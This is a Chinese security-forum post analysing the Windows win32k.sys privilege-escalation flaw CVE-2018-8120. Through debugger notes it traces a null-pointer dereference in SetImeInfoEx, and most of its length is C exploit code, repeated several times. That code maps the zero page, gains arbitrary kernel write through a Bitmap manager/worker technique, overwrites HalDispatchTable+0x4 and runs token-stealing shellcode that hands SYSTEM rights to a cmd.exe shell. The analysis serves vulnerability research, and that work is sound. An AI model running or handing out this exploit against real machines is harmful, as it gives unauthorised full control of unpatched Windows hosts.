首页
社区
课程
招聘
[原创]Windows内核提权漏洞CVE-2018-8120分析
发表于: 2022-12-11 22:25 18449

[原创]Windows内核提权漏洞CVE-2018-8120分析

2022-12-11 22:25
18449

参考链接:
https://www.anquanke.com/post/id/241057
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_38025365/article/details/106343443
官方链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
图片描述
图片描述
图片描述
查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION
图片描述
spklList对象的结构为
图片描述
漏洞触发验证

查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示
图片描述
dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter
图片描述

windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。
图片描述
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
图片描述
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
图片描述

上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。

Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667

CreateBitMap创建的结构SURFACE OBJECT
图片描述
当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:

pKernelAddress泄露了Bitmap对象的内核地址,再看pKernelAddress指向的数据结构:

图片描述

在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)
(2) 使用CreateBitMap返回的handle获取pvScan0的地址
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!
图片描述

不同版本的exp还没完全看懂。。。
其中alphalab中win32版本的exp提出来,有些地方对不上,感觉很奇怪

 
#include<Windows.h>
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
    _asm {
        mov esi, argv1;
        mov eax, gSyscalIndex; //系统调用服务号
        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用
        call DWORD ptr[edx];
        ret 4;
    }
}
int main() {
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);
    char ime[0x800];
    NtUserSetImeInfoEx((PVOID)&ime);
    return 0;
}
#include<Windows.h>
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
    _asm {
        mov esi, argv1;
        mov eax, gSyscalIndex; //系统调用服务号
        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用
        call DWORD ptr[edx];
        ret 4;
    }
}
int main() {
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);
    char ime[0x800];
    NtUserSetImeInfoEx((PVOID)&ime);
    return 0;
}
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
    _asm {
        mov esi, argv1;
        mov eax, gSyscalIndex; //系统调用服务号
        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用
        call DWORD ptr[edx];
        ret 4;
    }
}
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
 
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
int main() {
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);
    char ime[0x800];
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return;
    }
 
    PVOID Zero_addr = (PVOID)0x100;
    SIZE_T RegionSize = 0x1000;
 
    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return;
 
    }
 
    printf("[+]Success to alloc zero page...\n");
    printf("申请到的地址是 0x%p\n", Zero_addr);
 
    PBYTE pt = (PBYTE)Zero_addr;
    *(PDWORD)(pt + 0x14) = (DWORD)0x12345678;
    *(PDWORD)(ime) = (DWORD)0x12345678;
 
    *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc;    //HalDispatchTable+0x4
 
    NtUserSetImeInfoEx((PVOID)&ime);
    return 0;
}
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
    _asm {
        mov esi, argv1;
        mov eax, gSyscalIndex; //系统调用服务号
        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用
        call DWORD ptr[edx];
        ret 4;
    }
}
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
 
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
int main() {
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);
    char ime[0x800];
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return;
    }
 
    PVOID Zero_addr = (PVOID)0x100;
    SIZE_T RegionSize = 0x1000;
 
    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return;
 
    }
 
    printf("[+]Success to alloc zero page...\n");
    printf("申请到的地址是 0x%p\n", Zero_addr);
 
    PBYTE pt = (PBYTE)Zero_addr;
    *(PDWORD)(pt + 0x14) = (DWORD)0x12345678;
    *(PDWORD)(ime) = (DWORD)0x12345678;
 
    *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc;    //HalDispatchTable+0x4
 
    NtUserSetImeInfoEx((PVOID)&ime);
    return 0;
}
 
// 创建Bitmap
HBITMAP CreateBitmap(
 int    nWidth,
 int    nHeight,
 UINT    nPlanes,
 UINT    nBitCount,
 const VOID *lpBits
);
 
// 将bitmap bits拷贝到指定缓冲区
LONG GetBitmapBits(
 HBITMAP hbit,
 LONG  cb,
 LPVOID lpvBits
); 
 
// 设置bitmap的bits
LONG SetBitmapBits(
 HBITMAP  hbm,
 DWORD   cb,
 const VOID *pvBits
);
// 创建Bitmap
HBITMAP CreateBitmap(
 int    nWidth,
 int    nHeight,
 UINT    nPlanes,
 UINT    nBitCount,
 const VOID *lpBits
);
 
// 将bitmap bits拷贝到指定缓冲区
LONG GetBitmapBits(
 HBITMAP hbit,
 LONG  cb,
 LPVOID lpvBits
); 
 
// 设置bitmap的bits
LONG SetBitmapBits(
 HBITMAP  hbm,
 DWORD   cb,
 const VOID *pvBits
);
typedef struct _GDICELL
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
typedef struct _GDICELL
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
typedefstruct {
BASEOBJECT BaseObject; //0x00
SURFOBJ SurOBJ; //0x18
}
 
 
typedef struct _BASEOBJECT {
    HANDLE    hHmgr; 0x04
    PVOID     pEntry; 0x08
    LONG      cExclusiveLock; 0x0d
    PW32THREAD Tid;0x10
} BASEOBJECT, *POBJ;
 
 
typedef struct _SURFOBJ {
    DHSURF dhsurf;       0x04
    HSURF  hsurf;         0x08
    DHPDEV dhpdev;        0x09
    HDEV   hdev;          0x0a
    SIZEL  sizlBitmap;    0x0e
    ULONG  cjBits;        0x12
    PVOID  pvBits;        0x16
    PVOID  pvScan0;       0x20
    LONG   lDelta;        0x24
    ULONG  iUniq;        0x28
    ULONG  iBitmapFormat; 0x2c
    USHORT iType;        0x2e
    USHORT fjBitmap;      0x30
} SURFOBJ
typedefstruct {
BASEOBJECT BaseObject; //0x00
SURFOBJ SurOBJ; //0x18
}
 
 
typedef struct _BASEOBJECT {
    HANDLE    hHmgr; 0x04
    PVOID     pEntry; 0x08
    LONG      cExclusiveLock; 0x0d
    PW32THREAD Tid;0x10
} BASEOBJECT, *POBJ;
 
 
typedef struct _SURFOBJ {
    DHSURF dhsurf;       0x04
    HSURF  hsurf;         0x08
    DHPDEV dhpdev;        0x09
    HDEV   hdev;          0x0a
    SIZEL  sizlBitmap;    0x0e
    ULONG  cjBits;        0x12
    PVOID  pvBits;        0x16
    PVOID  pvScan0;       0x20
    LONG   lDelta;        0x24
    ULONG  iUniq;        0x28
    ULONG  iBitmapFormat; 0x2c
    USHORT iType;        0x2e
    USHORT fjBitmap;      0x30
} SURFOBJ
gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)
pvScan0_Offset = pKernelAddress + 0x10 + 0x1c
pvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C
gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)
pvScan0_Offset = pKernelAddress + 0x10 + 0x1c
pvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );
 
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
 
//申请0页内存
void getZeroMemory() {
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;
 
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
    }
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
    }
    printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
    _asm
    {
        pushad
        mov eax, fs: [124h]        // 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4                // edx = system PID(4)
 
        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]    // 找到进程活动链表
        sub eax, 0xb8            // 链表遍历
        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid
 
        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        xor eax, eax
        ret
 
    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
 
//获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    CHAR lpfileName[1024];
 
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
 
    for (int i = 0; i < 1024; i++)
    {
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
 
        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}
 
DWORD32 GetHalOffset_4()
{
    // 获取ntkrnlpa.exe运行时基址
    PVOID pNtkrnlpaBase = NtkrnlpaBase();
    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
 
    // 获取用户态加载ntkrnlpa.exe的地址
    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
 
    // 获取用户态中HalDispatchTable的地址
    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
 
    // 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量
    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
    return (DWORD32)hal_4;
}
 
 
//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {
 
        mov esi, tmp;
        mov eax, gSyscall; //系统调用符号
        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用
        call dword ptr[edx];
        ret 4;
    }
}
DWORD getpeb()
{
    //在NT内核中,FS段为TEB,TEB偏移0x30处为PEB
    DWORD p = (DWORD)__readfsdword(0x18);
    p = *(DWORD*)((char*)p + 0x30);
    return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
    return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
    if (!gtable)
        gtable = getgdi();
    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
    GDICELL* c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x30;
 
}
 
int main()
{
    //1. 创建bitmap对象
    unsigned int bbuf[0x60] = { 0x90 };
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
    //2. 使用句柄查找GDICELL,计算pvScan0地址
    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);
    printf("[+] Get manager at 0x%p,worker at 0x%p\n", mpv, wpv);
    //使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值
 
    // 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );
 
    // 和窗口当前进程关联起来
    SetProcessWindowStation(hSta);
 
    char buf[0x200];
    RtlSecureZeroMemory(&buf, 0x200);
    PVOID* p = (PVOID*)&buf;
    p[0] = (PVOID)wpv;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;
    //获取0页内存
    getZeroMemory();
    *(DWORD*)(0x2C) = (DWORD)(mpv);
    *(DWORD*)(0x14) = (DWORD)(wpv);
    // WindowStation->spklList字段为0,函数继续执行将触发漏洞
    NtUserSetImeInfoEx((PVOID)&buf);
    PVOID pOrg = 0;
    DWORD haladdr = GetHalOffset_4();
    PVOID oaddr = (PVOID)haladdr;
    PVOID sc = &ShellCode;
 
    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager设置worker的可修改地址为hal函数
    printf("[+]要覆盖的目标地址 0x%x\n", oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//获取可修改的地址
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//设置地址为shellcode
    printf("[+]覆盖完毕,准备执行Shellcode");
 
    //触发shellcode
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    //收尾
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    CreateCmd();
    return 0;
}
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );
 
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
 
//申请0页内存
void getZeroMemory() {
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;
 
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
 
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-12-29 14:30 被hml189编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 15565
活跃值: (16922)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
有一部分图片裂了,师傅再重新看下
2022-12-12 09:48
0
雪    币: 273
活跃值: (6751)
能力值: ( LV7,RANK:105 )
在线值:
发帖
回帖
粉丝
3
有毒 有一部分图片裂了,师傅再重新看下
裂的是引用的图,补上了
2022-12-12 14:58
0
游客
登录 | 注册 方可回帖
返回
//